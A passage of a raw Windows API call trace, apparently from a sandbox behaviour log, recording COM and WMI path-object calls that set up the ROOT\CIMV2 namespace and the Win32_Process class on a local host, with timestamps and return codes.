WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x2 [0081.813] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x1 [0081.813] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.813] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fcf0) returned 0x0 [0081.814] WbemDefPath:IUnknown:AddRef (This=0x1c02fcf0) returned 0x3 [0081.814] WbemDefPath:IUnknown:Release (This=0x1c02fcf0) returned 0x2 [0081.814] WbemDefPath:IWbemPath:SetText (This=0x1c02fcf0, uMode=0x4, pszPath="") returned 0x0 [0081.814] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.814] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fc30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.814] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02fcf0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0081.814] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fcf0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0081.814] WbemDefPath:IWbemPath:SetServer (This=0x1c02fcf0, Name="Q9IATRKPRH") returned 0x0 [0081.814] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.815] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.815] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.815] IUnknown:Release (This=0x111f638) returned 0x1 [0081.817] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c054030) returned 0x0 [0081.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054030, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.818] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054030, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fdb0) returned 0x0 [0081.818] WbemDefPath:IUnknown:Release (This=0x1c054030) returned 0x0 [0081.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fdb0) returned 0x0 [0081.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.819] WbemDefPath:IUnknown:AddRef (This=0x1c02fdb0) returned 0x3 [0081.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c054070) returned 0x0 [0081.819] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.819] WbemDefPath:IUnknown:Release (This=0x1c054070) returned 0x3 [0081.819] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.819] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.819] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x2 [0081.819] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x1 [0081.819] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.819] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fdb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fdb0) returned 0x0 [0081.820] WbemDefPath:IUnknown:AddRef (This=0x1c02fdb0) returned 0x3 [0081.820] WbemDefPath:IUnknown:Release (This=0x1c02fdb0) returned 0x2 [0081.820] WbemDefPath:IWbemPath:SetText (This=0x1c02fdb0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fdb0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0081.820] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02fcf0) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fdb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fdb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fdb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0081.820] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fcf0, uIndex=0x0, pszName="ROOT") returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fdb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0081.820] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fdb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0081.821] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fcf0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02fcf0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0081.821] WbemDefPath:IWbemPath:SetClassName (This=0x1c02fcf0, Name="Win32_Process") returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fcf0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fcf0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fcf0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.821] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0081.822] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fcf0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0081.822] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0081.822] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0081.822] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0081.822] IUnknown:Release (This=0x111f638) returned 0x1 [0081.825] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c0542d0) returned 0x0 [0081.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0542d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0081.825] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0542d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02fe70) returned 0x0 [0081.826] WbemDefPath:IUnknown:Release (This=0x1c0542d0) returned 0x0 [0081.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02fe70) returned 0x0 [0081.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0081.826] WbemDefPath:IUnknown:AddRef (This=0x1c02fe70) returned 0x3 [0081.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0081.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0081.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c054310) returned 0x0 [0081.827] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054310, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.827] WbemDefPath:IUnknown:Release (This=0x1c054310) returned 0x3 [0081.827] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0081.827] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0081.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0081.827] WbemDefPath:IUnknown:Release (This=0x1c02fe70) returned 0x2 [0081.827] WbemDefPath:IUnknown:Release (This=0x1c02fe70) returned 0x1 [0081.827] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0081.827] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0081.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fe70, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02fe70) returned 0x0 [0081.828] WbemDefPath:IUnknown:AddRef (This=0x1c02fe70) returned 0x3 [0081.828] WbemDefPath:IUnknown:Release (This=0x1c02fe70) returned 0x2 [0081.828] WbemDefPath:IWbemPath:SetText (This=0x1c02fe70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0081.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0081.828] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.828] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.828] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.828] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.828] IUnknown:Release (This=0x111f638) returned 0x1 [0081.831] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c054350) returned 0x0 [0081.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054350, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.832] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054350, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02ff30) returned 0x0 [0081.832] WbemDefPath:IUnknown:Release (This=0x1c054350) returned 0x0 [0081.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02ff30) returned 0x0 [0081.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.832] WbemDefPath:IUnknown:AddRef (This=0x1c02ff30) returned 0x3 [0081.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c054390) returned 0x0 [0081.833] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054390, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.833] WbemDefPath:IUnknown:Release (This=0x1c054390) returned 0x3 [0081.833] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.833] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.833] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x2 [0081.833] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x1 [0081.834] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.834] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ff30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02ff30) returned 0x0 [0081.834] WbemDefPath:IUnknown:AddRef (This=0x1c02ff30) returned 0x3 [0081.834] WbemDefPath:IUnknown:Release (This=0x1c02ff30) returned 0x2 [0081.834] WbemDefPath:IWbemPath:SetText (This=0x1c02ff30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fe70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ff30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ff30, lFlags=16, 